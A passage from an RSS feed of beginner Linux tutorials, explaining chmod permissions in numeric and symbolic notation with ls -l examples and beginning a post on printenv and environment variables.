&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;None of the sets have permissions to execute the &lt;em&gt;helloWorld.out&lt;/em&gt; file so, when trying to do so, it will show us the sentence &amp;lsquo;&lt;em&gt;permission denied&lt;/em&gt;&amp;rsquo; in the terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./helloWorld.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bash: ./helloWorld.out: Permission denied&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we remove the &amp;lsquo;&lt;em&gt;r&lt;/em&gt;&amp;rsquo; and &amp;lsquo;&lt;em&gt;w&lt;/em&gt;&amp;rsquo; permissions from a file, using the chmod command, we will not be able to read or modify its contents either, as shown in the last lines of code below.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod &lt;span style=&#34;color:#ff9f43&#34;&gt;000&lt;/span&gt; source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Remove all permissions from source_code.cpp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---------- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;106&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;9288&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 helloWorld.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat: source_code.cpp: Permiso denegado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;some text&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bash: source_code.cpp: Permiso denegado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We added the permission to execute, &amp;lsquo;&lt;em&gt;x&lt;/em&gt;&amp;rsquo;, to all permission sets and now the executable can be run and print to the terminal the phrase &amp;lsquo;&lt;em&gt;Hello world&lt;/em&gt;&amp;rsquo;. **Don&amp;rsquo;t worry about the meaning of the numbers in the chmod command, we will explain it later.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod &lt;span style=&#34;color:#ff9f43&#34;&gt;755&lt;/span&gt; ejecutable.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# We grant all permissions to the owner&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# And read and execute permissions to the rest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls -l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rw-r--r-- &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;106&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rwxr-xr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;9288&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 helloWorld.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./helloWorld.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Hello world&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-do-the-numbers-in-the-chmod-command-mean&#34;&gt;What do the numbers in the chmod command mean?&lt;/h2&gt;&#xA;&lt;p&gt;There are 3 figures in the numbers that follow the chmod command, each figure represents the permissions of their respective set. The number of each digit can range from 0 to 7. This number is determined by the sum of the values of each permission; 4, 2 and 1.&lt;/p&gt;&#xA;&lt;p&gt;The &amp;lsquo;&lt;em&gt;r&lt;/em&gt;&amp;rsquo; permission will have a value of 4, the &amp;lsquo;&lt;em&gt;w&lt;/em&gt;&amp;rsquo; permission will have a value of 2 and the &amp;lsquo;&lt;em&gt;x&lt;/em&gt;&amp;rsquo; permission will have a value of 1.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Permit&lt;/th&gt;&#xA;          &lt;th&gt;Value&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Read&lt;/td&gt;&#xA;          &lt;td&gt;4&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Write&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Execute&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/images/PermisosNumerosGNULinux.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/images/PermisosNumerosGNULinux.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meaning of numbers in GNU/Linux permissions&#34; width=&#34;1200&#34; height=&#34;600&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Meaning of numbers in GNU/Linux permissions&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Considering the above, a value of 7 (4+2+1) means that it has full permissions, a value of 5 (4+1) means that it has read (r) and execute (x) permissions, a value of 3 (2+1) means write (w) and execute (x) permissions for a file.&lt;/p&gt;&#xA;&lt;p&gt;The first digit represents the permissions of the file owner, the second digit the permissions of the group and the third digit the permissions of others.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Permit Value&lt;/th&gt;&#xA;          &lt;th&gt;Permits for&amp;hellip;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;755&lt;/td&gt;&#xA;          &lt;td&gt;owner: 4 + 2 +1 = 7 (Read + Write + Execute) group: 4 + 1 = 5 (Read and Execute) others: 4 + 1 = 5 (Read and Execute)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;777&lt;/td&gt;&#xA;          &lt;td&gt;owner: 4 + 2 +1 = 7 (Read + Write + Execute) group: 4 + 2 +1 = 7 (Read + Write + Execute) other: 4 + 2 +1 = 7 (Read + Write + Execute)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;111&lt;/td&gt;&#xA;          &lt;td&gt;owner: 1 (Execute) group: 1 (Execute) other: 1 (Execute)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s look at some examples of the permit equivalent of the numbers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;_rwxrwxrwx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Same as &lt;span style=&#34;color:#ff9f43&#34;&gt;777&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;_rwxr_xr_x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Same as &lt;span style=&#34;color:#ff9f43&#34;&gt;755&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;___x__x__x&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Same as &lt;span style=&#34;color:#ff9f43&#34;&gt;111&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;another-method-to-assign-permissions-with-chmod&#34;&gt;Another method to assign permissions with chmod&lt;/h2&gt;&#xA;&lt;p&gt;There is an alternative way to assign permissions using the chmod command that looks more intuitive. The notation that will replace the 3 digits, in the chmod command, consists of one or more letters to specify the sets to which we want to apply permissions; &lt;em&gt;&amp;lsquo;a&amp;rsquo;&lt;/em&gt;, for all; &lt;em&gt;&amp;lsquo;u&amp;rsquo;&lt;/em&gt;, for the owner user; &lt;em&gt;&amp;lsquo;g&amp;rsquo;&lt;/em&gt;, for group; and &lt;em&gt;&amp;lsquo;o&amp;rsquo;&lt;/em&gt;, for others.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Permission&lt;/th&gt;&#xA;          &lt;th&gt;Meaning&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;a&lt;/td&gt;&#xA;          &lt;td&gt;All&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;u&lt;/td&gt;&#xA;          &lt;td&gt;User&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;g&lt;/td&gt;&#xA;          &lt;td&gt;Group&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;o&lt;/td&gt;&#xA;          &lt;td&gt;Others&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;One or more letters may be used. Then, the &amp;lsquo;+&amp;rsquo; or &amp;lsquo;-&amp;rsquo; symbol, depending on whether we want to add or remove permissions, respectively. And, finally, the permissions we want to add or remove, with the letters &amp;lsquo;&lt;em&gt;r&lt;/em&gt;&amp;rsquo;, &amp;lsquo;&lt;em&gt;w&lt;/em&gt;&amp;rsquo; and &amp;lsquo;&lt;em&gt;x&lt;/em&gt;&amp;rsquo;, to read, write and execute, respectively. Let&amp;rsquo;s see some examples to clarify it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod a+rwx source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rwxrwxrwx &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;106&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the first example we select all the sets using the letter &amp;lsquo;&lt;em&gt;a&lt;/em&gt;&amp;rsquo;, choose to add permissions using the &amp;lsquo;&lt;em&gt;+&lt;/em&gt;&amp;rsquo; symbol and specify that the permissions to add are &amp;lsquo;&lt;em&gt;r&lt;/em&gt;&amp;rsquo;, &amp;lsquo;&lt;em&gt;w&lt;/em&gt;&amp;rsquo; and &amp;lsquo;&lt;em&gt;x&lt;/em&gt;&amp;rsquo;; read, write and execute, respectively.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod o-w helloWorld.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-rwxrwxr-x &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;106&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the second example we choose that the changes will be made to the set &lt;em&gt;other&lt;/em&gt;, select the sign &lt;em&gt;&amp;rsquo;-&amp;rsquo;&lt;/em&gt;, to remove permissions, and declare that the permission to remove is the write permission, &amp;lsquo;w&amp;rsquo;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;chmod ug-wx source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-r--r--r-x &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; user user &lt;span style=&#34;color:#ff9f43&#34;&gt;106&lt;/span&gt; may &lt;span style=&#34;color:#ff9f43&#34;&gt;14&lt;/span&gt; 00:40 source_code.cpp&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And finally, in the third example the sets for owner and group, &amp;lsquo;g&amp;rsquo; and &amp;lsquo;u&amp;rsquo;, respectively, will lose write and execute rights, &amp;lsquo;w&amp;rsquo; and &amp;lsquo;x&amp;rsquo;.&lt;/p&gt;&#xA;&lt;p&gt;This syntax may be more intuitive than the previous one, which one to use? whichever is easier for you to understand, you can achieve the same results using either one.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;The previous entry was the third part of the series on the most common GNU/Linux commands. To end the entry I wrote about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;chmod command, which manages permissions&lt;/a&gt;&#xA;. This chmod command is one of the most complex commands in GNU/Linux, not because of its variety of options, but because of the previous knowledge required to be able to use it correctly, and its weird syntax (RWX) or even worse (777, 755, and so on)&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Linux Basic Commands: lsof top ps kill systemctl chown chroot</title>
      <link>https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/</link>
      <pubDate>Tue, 21 May 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This is the continuation of the following parts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;GNU Linux Basic Commands, part one&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;GNU Linux basic commands, part two&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;printenv&#34;&gt;printenv&lt;/h2&gt;&#xA;&lt;p&gt;Printenv is in charge of printing the environment variables of our system.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-an-environment-variable&#34;&gt;What is an environment variable?&lt;/h3&gt;&#xA;&lt;p&gt;Environment variables are a &lt;strong&gt;series of equalities known as environment variables&lt;/strong&gt;, and their corresponding values. Environment variables describe the environment in which a program runs and influence how our operating system behaves. These variables are available to be read by any application on our system, so we can use them to store information such as user names, configuration values, paths to files, etc.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;XDG_MENU_PREFIX&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;gnome-&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;LANG&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;en_US.UTF-8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;GDM_LANG&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;en_US.UTF-8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DISPLAY&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;:0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The printenv command also allows us to access the value of a particular variable, passing it as argument&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv LANG&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;en_US.UTF-8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  